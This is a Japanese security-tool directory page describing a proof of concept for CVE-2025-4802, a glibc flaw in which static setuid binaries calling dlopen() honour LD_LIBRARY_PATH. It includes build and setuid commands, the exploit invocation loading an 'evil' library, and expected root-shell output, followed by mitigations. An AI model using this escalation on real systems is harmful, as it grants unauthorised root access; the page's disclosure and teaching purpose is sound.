Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-4802-Proof-of-Concept — setuidバイナリでLD_LIBRARY_PATHを指定したdlopenに脆弱な静的コンパイル済みバイナリの概念実証 | Kitploit
ツール/GitHubGitHub/betizzel/cve-2025-4802-proof-of-concept
特権昇格脆弱性分析エクスプロイト学習と教育バイナリエクスプロイト
GitHubbetizzel/cve-2025-4802-proof-of-concept

CVE-2025-4802-Proof-of-Concept

setuidバイナリでLD_LIBRARY_PATHを指定したdlopenに脆弱な静的コンパイル済みバイナリの概念実証

リポジトリを見る

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
217ヶ月前未レビュー

CVE-2025-4802 — 概念実証

⚠️ 免責事項: このリポジトリは教育および許可されたセキュリティ研究目的のみを対象としています。所有していないシステム、またはテストの明示的な許可を得ていないシステムに対してこのエクスプロイトを使用しないでください。悪用は法律や規制に違反する可能性があります。

CVE 概要

項目詳細
CVE IDCVE-2025-4802
影響を受けるソフトウェアGNU C Library (glibc)
影響を受けるバージョン2.27 – 2.38
脆弱性の種類信頼できない LD_LIBRARY_PATH による権限昇格
攻撃ベクトルローカル

説明

GNU C Library (glibc) のバージョン 2.27 から 2.38 における脆弱性により、攻撃者は dlopen() を呼び出す静的コンパイルされた setuid バイナリにおいて LD_LIBRARY_PATH 環境変数を悪用することができます。

通常、動的リンカは setuid プログラムに対して LD_LIBRARY_PATH をサニタイズします。しかし、静的コンパイルされたバイナリは動的リンカを完全にバイパスするため、LD_LIBRARY_PATH は決してクリアされません。そのようなバイナリが dlopen() を呼び出すと(直接、または setlocale() や getaddrinfo() のような NSS 関数を介して間接的に)、glibc は攻撃者が制御する LD_LIBRARY_PATH を使用して共有ライブラリを解決し、昇格された権限で任意のコード実行を可能にします。

仕組み

  1. 静的コンパイルされた setuid-root バイナリが dlopen("myso.so", ...) を呼び出し、共有オブジェクトを名前で(絶対パスではなく)ロードします。
  2. バイナリが静的リンクされているため、動的リンカ(ld-linux.so)は実行されず、LD_LIBRARY_PATH はサニタイズされません。
  3. 攻撃者は、同じ hello() シンボルをエクスポートするが root シェルを起動する悪意のある共有オブジェクト(myso.so)を作成します。
  4. 攻撃者は LD_LIBRARY_PATH を、悪意のあるライブラリを含むディレクトリを指すように設定します。
  5. setuid バイナリが実行されると、正当なライブラリではなく攻撃者のライブラリをロードし、root として任意のコードを実行します。

リポジトリ構造

root@kitploit:~
.
├── main.c                          # Vulnerable setuid binary source
├── myso.c                          # Legitimate shared object (safe)
├── evil_library/
│   └── evilso.c                    # Malicious shared object (spawns root shell)
├── proof_of_concept_screenshot.png # Terminal screenshot of the exploit
├── proof_of_concept_video.mp4      # Video walkthrough
├── Makefile                        # Build automation
└── README.md

前提条件

  • OS: Fedora 39(または脆弱な glibc を持つ任意の Linux ディストリビューション)
  • glibc バージョン: 2.27 – 2.38(ldd --version で確認)
  • パッケージ: gcc、make
  • setuid ビットを設定するための root アクセス

再現手順

1. すべてをビルド

root@kitploit:~
make all

または手動で:

root@kitploit:~
# Build the legitimate shared object
gcc -shared -o myso.so -fPIC myso.c

# Build the vulnerable binary (statically linked)
gcc -static -o main main.c -ldl

# Build the malicious shared object
gcc -shared -o evil_library/myso.so -fPIC evil_library/evilso.c

2. setuid ビットを設定(root が必要)

root@kitploit:~
sudo chown root:root main
sudo chmod u+s main

3. 通常実行(安全な動作)

root@kitploit:~
./main

期待される出力:

root@kitploit:~
 BEGINNING OF MAIN
Hello from the safe shared object!

 END OF MAIN

4. LD_LIBRARY_PATH によるエクスプロイト(悪意のある動作)

root@kitploit:~
LD_LIBRARY_PATH=./evil_library ./main

期待される出力:

root@kitploit:~
 BEGINNING OF MAIN
I'm evil now
EXEC TO ROOT SHELL
# whoami
root

バイナリは正当なものではなく evil_library/ から攻撃者の myso.so をロードし、root シェルを起動します。

概念実証

Proof of Concept Screenshot

ビデオウォークスルーも利用可能です: proof_of_concept_video.mp4

緩和策

  • glibc をアップグレードしてパッチ適用済みバージョン(> 2.38)にする
  • dlopen() を使用する setuid バイナリでは静的リンクを避ける
  • dlopen() 呼び出しでは、ライブラリ名のみではなく絶対パスを使用する
  • dlopen() を呼び出す前に権限をドロップする
  • コンパイラ/リンカのハードニングフラグを使用し、可能な限り setuid を避ける

リソース

  • NVD — CVE-2025-4802
ツールをダウンロード